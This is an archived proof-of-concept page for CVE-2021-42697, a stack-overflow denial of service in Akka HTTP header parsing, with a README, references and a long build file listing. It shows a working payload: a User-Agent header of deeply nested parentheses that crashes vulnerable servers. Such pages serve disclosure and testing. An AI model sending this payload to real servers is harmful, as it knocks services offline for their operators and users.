Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-42697 PoC — Lightbeed Akka Akka-http缓冲区错误漏洞

Source
Associated Vulnerability
Title:Lightbeed Akka Akka-http缓冲区错误漏洞 (CVE-2021-42697)
Description:Lightbeed Akka Akka-http是中国Lightbeed社区的一个工具包。提供提供和使用基于HTTP的服务的更通用的工具包。 Akka HTTP 存在缓冲区错误漏洞,攻击者可以通过发送带有深度嵌套注释的User-Agent标头来进行拒绝服务攻击。
Description
Proof of concept exploit for CVE-2021-42697: Akka HTTP 10.1.x before 10.1.15 and 10.2.x before 10.2.7 can encounter stack exhaustion while parsing HTTP headers, which allows a remote attacker to conduct a Denial of Service attack by sending a User-Agent header with deeply nested comments.
Readme
Akka HTTP 10.1.x before 10.1.15 and 10.2.x before 10.2.7 can encounter stack exhaustion while parsing HTTP headers, which allows a remote attacker to conduct a Denial of Service attack by sending a User-Agent header with deeply nested comments.

# References
[MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42697)

[Akka blog](https://doc.akka.io/docs/akka-http/current/security/2021-CVE-2021-42697-stack-overflow-parsing-user-agent.html)

[Arbitrary nesting of comments](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6)

[Basic Akka setup guide](https://blog.rockthejvm.com/akka-http-to-heroku-in-x-minutes/)

# PoC Notes
* Version tested against: `10.2.4`
* Target server fingerprint: `akka-http/<version>`
* Payload snippet: `User-Agent: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((`
* Produces stack overflow in Akka HTTP which results in DoS
* Can use scala-akka-http-server-example/ contents to test against locally (launches on `http://localhost:8082` with `sbt > compile > run`)
File Snapshot

[4.0K] /data/pocs/ba318cbd6675a1e6e13e5d5e933c12ef29ba1e16 ├── [2.4K] CVE-2021-42697.py ├── [8.9K] README.md ├── [ 17] requirements.txt └── [4.0K] scala-akka-http-server-example ├── [ 495] build.sbt ├── [1.0K] LICENSE ├── [4.0K] project │   ├── [ 18] build.properties │   └── [4.0K] target │   ├── [4.0K] config-classes │   │   ├── [5.0K] $8cd93eb5933cc458f6a3$.class │   │   ├── [ 5] $8cd93eb5933cc458f6a3.cache │   │   └── [ 573] $8cd93eb5933cc458f6a3.class │   ├── [4.0K] scala-2.12 │   │   └── [4.0K] sbt-1.0 │   │   ├── [4.0K] sync │   │   │   └── [ 12] copy-resource │   │   └── [4.0K] update │   │   └── [4.0K] update_cache_2.12 │   │   ├── [ 10] inputs │   │   └── [ 19K] output │   └── [4.0K] streams │   ├── [4.0K] compile │   │   ├── [4.0K] bspReporter │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] compile │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] compileIncremental │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   ├── [ 0] export │   │   │   └── [ 565] out │   │   ├── [4.0K] copyResources │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 99] out │   │   ├── [4.0K] dependencyClasspath │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [7.6K] export │   │   ├── [4.0K] exportedProducts │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 123] export │   │   ├── [4.0K] externalDependencyClasspath │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [7.6K] export │   │   ├── [4.0K] _global │   │   │   └── [4.0K] _global │   │   │   ├── [4.0K] compileOutputs │   │   │   │   └── [ 199] previous │   │   │   └── [4.0K] discoveredMainClasses │   │   │   └── [ 2] data │   │   ├── [4.0K] incOptions │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 446] out │   │   ├── [4.0K] internalDependencyClasspath │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   ├── [ 1] export │   │   │   └── [ 0] out │   │   ├── [4.0K] managedClasspath │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [7.6K] export │   │   ├── [4.0K] scalacOptions │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] unmanagedClasspath │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   ├── [ 1] export │   │   │   └── [ 0] out │   │   └── [4.0K] unmanagedJars │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 1] export │   ├── [4.0K] _global │   │   ├── [4.0K] csrConfiguration │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] csrProject │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] dependencyPositions │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [4.0K] update_cache_2.12 │   │   │   ├── [ 10] input_dsp │   │   │   └── [ 450] output_dsp │   │   ├── [4.0K] _global │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] ivyConfiguration │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] ivySbt │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] moduleSettings │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] projectDescriptors │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   ├── [4.0K] scalaCompilerBridgeScope │   │   │   └── [4.0K] _global │   │   │   └── [4.0K] streams │   │   │   └── [ 0] out │   │   └── [4.0K] update │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 490] out │   └── [4.0K] runtime │   ├── [4.0K] dependencyClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [7.8K] export │   ├── [4.0K] exportedProducts │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 123] export │   ├── [4.0K] externalDependencyClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [7.6K] export │   ├── [4.0K] fullClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [7.8K] export │   ├── [4.0K] internalDependencyClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   ├── [ 123] export │   │   └── [ 0] out │   ├── [4.0K] managedClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [7.6K] export │   ├── [4.0K] unmanagedClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   ├── [ 1] export │   │   └── [ 0] out │   └── [4.0K] unmanagedJars │   └── [4.0K] _global │   └── [4.0K] streams │   └── [ 1] export ├── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] resources │   │   └── [ 138] application.conf │   └── [4.0K] scala │   └── [ 996] Main.scala └── [4.0K] target ├── [4.0K] bg-jobs │   ├── [4.0K] sbt_1ed4ee8e │   │   └── [4.0K] target │   │   ├── [4.0K] 078ec522 │   │   │   └── [4.0K] fea7cc6a │   │   │   └── [1.8M] akka-http_2.13-10.2.4.jar │   │   ├── [4.0K] 0b1ad5dd │   │   │   └── [4.0K] ce3954d8 │   │   │   └── [ 16K] akka-http-spray-json_2.13-10.2.4.jar │   │   ├── [4.0K] 1c958b51 │   │   │   └── [4.0K] f37c3245 │   │   │   └── [ 17K] akka-slf4j_2.13-2.6.14.jar │   │   ├── [4.0K] 212f400f │   │   │   └── [4.0K] c46b6b30 │   │   │   └── [296K] ssl-config-core_2.13-0.4.2.jar │   │   ├── [4.0K] 2fed10be │   │   │   └── [4.0K] 65a4d7a3 │   │   │   └── [287K] config-1.4.0.jar │   │   ├── [4.0K] 3265bc28 │   │   │   └── [4.0K] c0ccad12 │   │   │   └── [4.5M] akka-stream_2.13-2.6.14.jar │   │   ├── [4.0K] 37c727f5 │   │   │   └── [4.0K] 0dbe4276 │   │   │   └── [290K] spray-json_2.13-1.3.6.jar │   │   ├── [4.0K] 43eaee7d │   │   │   └── [4.0K] de058565 │   │   │   └── [ 29K] akka-stream-typed_2.13-2.6.14.jar │   │   ├── [4.0K] 5009d6de │   │   │   └── [4.0K] 8fa64fae │   │   │   └── [ 11K] reactive-streams-1.0.3.jar │   │   ├── [4.0K] 59dd5f0f │   │   │   └── [4.0K] 11210362 │   │   │   └── [5.6M] scala-library-2.13.5.jar │   │   ├── [4.0K] 74317539 │   │   │   └── [4.0K] 1b909293 │   │   │   └── [952K] akka-parsing_2.13-10.2.4.jar │   │   ├── [4.0K] 7be317c9 │   │   │   └── [4.0K] cb34b137 │   │   │   └── [625K] scala-java8-compat_2.13-0.9.0.jar │   │   ├── [4.0K] adb034c7 │   │   │   └── [4.0K] bbab2e69 │   │   │   └── [1.1M] scala3-library_3.0.0-RC1-3.0.0-RC1.jar │   │   ├── [4.0K] b7a2f5f4 │   │   │   └── [4.0K] d1796059 │   │   │   └── [ 29K] hpack-1.0.2.jar │   │   ├── [4.0K] d1985780 │   │   │   └── [4.0K] a35d9d01 │   │   │   └── [1.1M] akka-actor-typed_2.13-2.6.14.jar │   │   ├── [4.0K] dab53d54 │   │   │   └── [4.0K] 60297e34 │   │   │   └── [1.6M] akka-protobuf-v3_2.13-2.6.14.jar │   │   ├── [4.0K] dd772373 │   │   │   └── [4.0K] de51ef4b │   │   │   └── [220K] scala-parser-combinators_2.13-1.1.2.jar │   │   ├── [4.0K] de10390b │   │   │   └── [4.0K] cb979581 │   │   │   └── [4.0M] akka-http-core_2.13-10.2.4.jar │   │   ├── [4.0K] e336cc54 │   │   │   └── [4.0K] c95777a2 │   │   │   └── [ 87K] akka-http-cors_2.13-1.1.1.jar │   │   ├── [4.0K] f32d8730 │   │   │   └── [4.0K] 9f4f0e8c │   │   │   └── [ 40K] slf4j-api-1.7.30.jar │   │   └── [4.0K] fef2d364 │   │   └── [4.0K] d142e38e │   │   └── [3.5M] akka-actor_2.13-2.6.14.jar │   ├── [4.0K] sbt_7ddf0db5 │   │   └── [4.0K] target │   │   ├── [4.0K] 078ec522 │   │   │   └── [4.0K] fea7cc6a │   │   │   └── [1.8M] akka-http_2.13-10.2.4.jar │   │   ├── [4.0K] 0b1ad5dd │   │   │   └── [4.0K] ce3954d8 │   │   │   └── [ 16K] akka-http-spray-json_2.13-10.2.4.jar │   │   ├── [4.0K] 1c958b51 │   │   │   └── [4.0K] f37c3245 │   │   │   └── [ 17K] akka-slf4j_2.13-2.6.14.jar │   │   ├── [4.0K] 212f400f │   │   │   └── [4.0K] c46b6b30 │   │   │   └── [296K] ssl-config-core_2.13-0.4.2.jar │   │   ├── [4.0K] 2fed10be │   │   │   └── [4.0K] 65a4d7a3 │   │   │   └── [287K] config-1.4.0.jar │   │   ├── [4.0K] 3265bc28 │   │   │   └── [4.0K] c0ccad12 │   │   │   └── [4.5M] akka-stream_2.13-2.6.14.jar │   │   ├── [4.0K] 37c727f5 │   │   │   └── [4.0K] 0dbe4276 │   │   │   └── [290K] spray-json_2.13-1.3.6.jar │   │   ├── [4.0K] 43eaee7d │   │   │   └── [4.0K] de058565 │   │   │   └── [ 29K] akka-stream-typed_2.13-2.6.14.jar │   │   ├── [4.0K] 5009d6de │   │   │   └── [4.0K] 8fa64fae │   │   │   └── [ 11K] reactive-streams-1.0.3.jar │   │   ├── [4.0K] 59dd5f0f │   │   │   └── [4.0K] 11210362 │   │   │   └── [5.6M] scala-library-2.13.5.jar │   │   ├── [4.0K] 74317539 │   │   │   └── [4.0K] 1b909293 │   │   │   └── [952K] akka-parsing_2.13-10.2.4.jar │   │   ├── [4.0K] 7be317c9 │   │   │   └── [4.0K] cb34b137 │   │   │   └── [625K] scala-java8-compat_2.13-0.9.0.jar │   │   ├── [4.0K] adb034c7 │   │   │   └── [4.0K] bbab2e69 │   │   │   └── [1.1M] scala3-library_3.0.0-RC1-3.0.0-RC1.jar │   │   ├── [4.0K] b7a2f5f4 │   │   │   └── [4.0K] d1796059 │   │   │   └── [ 29K] hpack-1.0.2.jar │   │   ├── [4.0K] d1985780 │   │   │   └── [4.0K] a35d9d01 │   │   │   └── [1.1M] akka-actor-typed_2.13-2.6.14.jar │   │   ├── [4.0K] dab53d54 │   │   │   └── [4.0K] 60297e34 │   │   │   └── [1.6M] akka-protobuf-v3_2.13-2.6.14.jar │   │   ├── [4.0K] dd772373 │   │   │   └── [4.0K] de51ef4b │   │   │   └── [220K] scala-parser-combinators_2.13-1.1.2.jar │   │   ├── [4.0K] de10390b │   │   │   └── [4.0K] cb979581 │   │   │   └── [4.0M] akka-http-core_2.13-10.2.4.jar │   │   ├── [4.0K] e336cc54 │   │   │   └── [4.0K] c95777a2 │   │   │   └── [ 87K] akka-http-cors_2.13-1.1.1.jar │   │   ├── [4.0K] f32d8730 │   │   │   └── [4.0K] 9f4f0e8c │   │   │   └── [ 40K] slf4j-api-1.7.30.jar │   │   └── [4.0K] fef2d364 │   │   └── [4.0K] d142e38e │   │   └── [3.5M] akka-actor_2.13-2.6.14.jar │   └── [4.0K] sbt_86d98079 │   └── [4.0K] target │   ├── [4.0K] 078ec522 │   │   └── [4.0K] fea7cc6a │   │   └── [1.8M] akka-http_2.13-10.2.4.jar │   ├── [4.0K] 0b1ad5dd │   │   └── [4.0K] ce3954d8 │   │   └── [ 16K] akka-http-spray-json_2.13-10.2.4.jar │   ├── [4.0K] 1c958b51 │   │   └── [4.0K] f37c3245 │   │   └── [ 17K] akka-slf4j_2.13-2.6.14.jar │   ├── [4.0K] 212f400f │   │   └── [4.0K] c46b6b30 │   │   └── [296K] ssl-config-core_2.13-0.4.2.jar │   ├── [4.0K] 2fed10be │   │   └── [4.0K] 65a4d7a3 │   │   └── [287K] config-1.4.0.jar │   ├── [4.0K] 3265bc28 │   │   └── [4.0K] c0ccad12 │   │   └── [4.5M] akka-stream_2.13-2.6.14.jar │   ├── [4.0K] 37c727f5 │   │   └── [4.0K] 0dbe4276 │   │   └── [290K] spray-json_2.13-1.3.6.jar │   ├── [4.0K] 43eaee7d │   │   └── [4.0K] de058565 │   │   └── [ 29K] akka-stream-typed_2.13-2.6.14.jar │   ├── [4.0K] 5009d6de │   │   └── [4.0K] 8fa64fae │   │   └── [ 11K] reactive-streams-1.0.3.jar │   ├── [4.0K] 59dd5f0f │   │   └── [4.0K] 11210362 │   │   └── [5.6M] scala-library-2.13.5.jar │   ├── [4.0K] 74317539 │   │   └── [4.0K] 1b909293 │   │   └── [952K] akka-parsing_2.13-10.2.4.jar │   ├── [4.0K] 7be317c9 │   │   └── [4.0K] cb34b137 │   │   └── [625K] scala-java8-compat_2.13-0.9.0.jar │   ├── [4.0K] adb034c7 │   │   └── [4.0K] bbab2e69 │   │   └── [1.1M] scala3-library_3.0.0-RC1-3.0.0-RC1.jar │   ├── [4.0K] b7a2f5f4 │   │   └── [4.0K] d1796059 │   │   └── [ 29K] hpack-1.0.2.jar │   ├── [4.0K] d1985780 │   │   └── [4.0K] a35d9d01 │   │   └── [1.1M] akka-actor-typed_2.13-2.6.14.jar │   ├── [4.0K] dab53d54 │   │   └── [4.0K] 60297e34 │   │   └── [1.6M] akka-protobuf-v3_2.13-2.6.14.jar │   ├── [4.0K] dd772373 │   │   └── [4.0K] de51ef4b │   │   └── [220K] scala-parser-combinators_2.13-1.1.2.jar │   ├── [4.0K] de10390b │   │   └── [4.0K] cb979581 │   │   └── [4.0M] akka-http-core_2.13-10.2.4.jar │   ├── [4.0K] e336cc54 │   │   └── [4.0K] c95777a2 │   │   └── [ 87K] akka-http-cors_2.13-1.1.1.jar │   ├── [4.0K] f32d8730 │   │   └── [4.0K] 9f4f0e8c │   │   └── [ 40K] slf4j-api-1.7.30.jar │   └── [4.0K] fef2d364 │   └── [4.0K] d142e38e │   └── [3.5M] akka-actor_2.13-2.6.14.jar ├── [4.0K] global-logging │   ├── [ 13K] sbt-global-log10856605279440436157.log │   ├── [ 504] sbt-global-log2480322838367251945.log │   ├── [ 13K] sbt-global-log2717793450453087622.log │   ├── [ 683] sbt-global-log6604181192830772676.log │   ├── [ 504] sbt-global-log7155989621274867918.log │   └── [ 13K] sbt-global-log974962963824518192.log ├── [4.0K] scala-3.0.0-RC1 │   ├── [4.0K] classes │   │   ├── [ 138] application.conf │   │   ├── [6.4K] Main$package$.class │   │   ├── [ 268] Main$package.class │   │   ├── [2.6K] Main$package.tasty │   │   ├── [1.6K] User$.class │   │   ├── [3.8K] User.class │   │   ├── [ 889] userSerice.class │   │   ├── [ 940] userSerice.tasty │   │   └── [2.7K] User.tasty │   ├── [ 12K] scala3-akka-http-server_3.0.0-RC1-0.1.0.jar │   ├── [4.0K] sync │   │   └── [ 431] copy-resource │   ├── [4.0K] update │   │   └── [4.0K] update_cache_3.0.0-RC1 │   │   ├── [ 11] inputs │   │   └── [182K] output │   └── [4.0K] zinc │   └── [3.8K] inc_compile_3.0.0-RC1.zip └── [4.0K] streams ├── [4.0K] compile │   ├── [4.0K] bspReporter │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] compile │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] compileIncremental │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   ├── [ 0] export │   │   └── [ 558] out │   ├── [4.0K] copyResources │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 346] out │   ├── [4.0K] dependencyClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [2.7K] export │   ├── [4.0K] exportedProductJars │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 148] export │   ├── [4.0K] exportedProducts │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 112] export │   ├── [4.0K] externalDependencyClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [2.7K] export │   ├── [4.0K] _global │   │   └── [4.0K] _global │   │   ├── [4.0K] compileOutputs │   │   │   └── [ 842] previous │   │   └── [4.0K] discoveredMainClasses │   │   └── [ 14] data │   ├── [4.0K] incOptions │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 424] out │   ├── [4.0K] internalDependencyClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   ├── [ 1] export │   │   └── [ 0] out │   ├── [4.0K] mainClass │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] managedClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [2.7K] export │   ├── [4.0K] packageBin │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   ├── [ 10] inputs │   │   ├── [ 198] out │   │   └── [ 11] output │   ├── [4.0K] scalacOptions │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] unmanagedClasspath │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   ├── [ 1] export │   │   └── [ 0] out │   └── [4.0K] unmanagedJars │   └── [4.0K] _global │   └── [4.0K] streams │   └── [ 1] export ├── [4.0K] _global │   ├── [4.0K] csrConfiguration │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] csrProject │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] dependencyPositions │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [4.0K] update_cache_3.0.0-RC1 │   │   ├── [ 9] input_dsp │   │   └── [2.7K] output_dsp │   ├── [4.0K] _global │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] ivyConfiguration │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] ivySbt │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] moduleSettings │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] projectDescriptors │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   ├── [4.0K] scalaCompilerBridgeScope │   │   └── [4.0K] _global │   │   └── [4.0K] streams │   │   └── [ 0] out │   └── [4.0K] update │   └── [4.0K] _global │   └── [4.0K] streams │   └── [ 184] out └── [4.0K] runtime ├── [4.0K] dependencyClasspathAsJars │   └── [4.0K] _global │   └── [4.0K] streams │   └── [2.8K] export ├── [4.0K] exportedProductJars │   └── [4.0K] _global │   └── [4.0K] streams │   └── [ 148] export ├── [4.0K] externalDependencyClasspath │   └── [4.0K] _global │   └── [4.0K] streams │   └── [2.7K] export ├── [4.0K] fullClasspathAsJars │   └── [4.0K] _global │   └── [4.0K] streams │   └── [2.8K] export ├── [4.0K] internalDependencyAsJars │   └── [4.0K] _global │   └── [4.0K] streams │   ├── [ 148] export │   └── [ 0] out ├── [4.0K] managedClasspath │   └── [4.0K] _global │   └── [4.0K] streams │   └── [2.7K] export ├── [4.0K] unmanagedClasspath │   └── [4.0K] _global │   └── [4.0K] streams │   ├── [ 1] export │   └── [ 0] out └── [4.0K] unmanagedJars └── [4.0K] _global └── [4.0K] streams └── [ 1] export 367 directories, 180 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
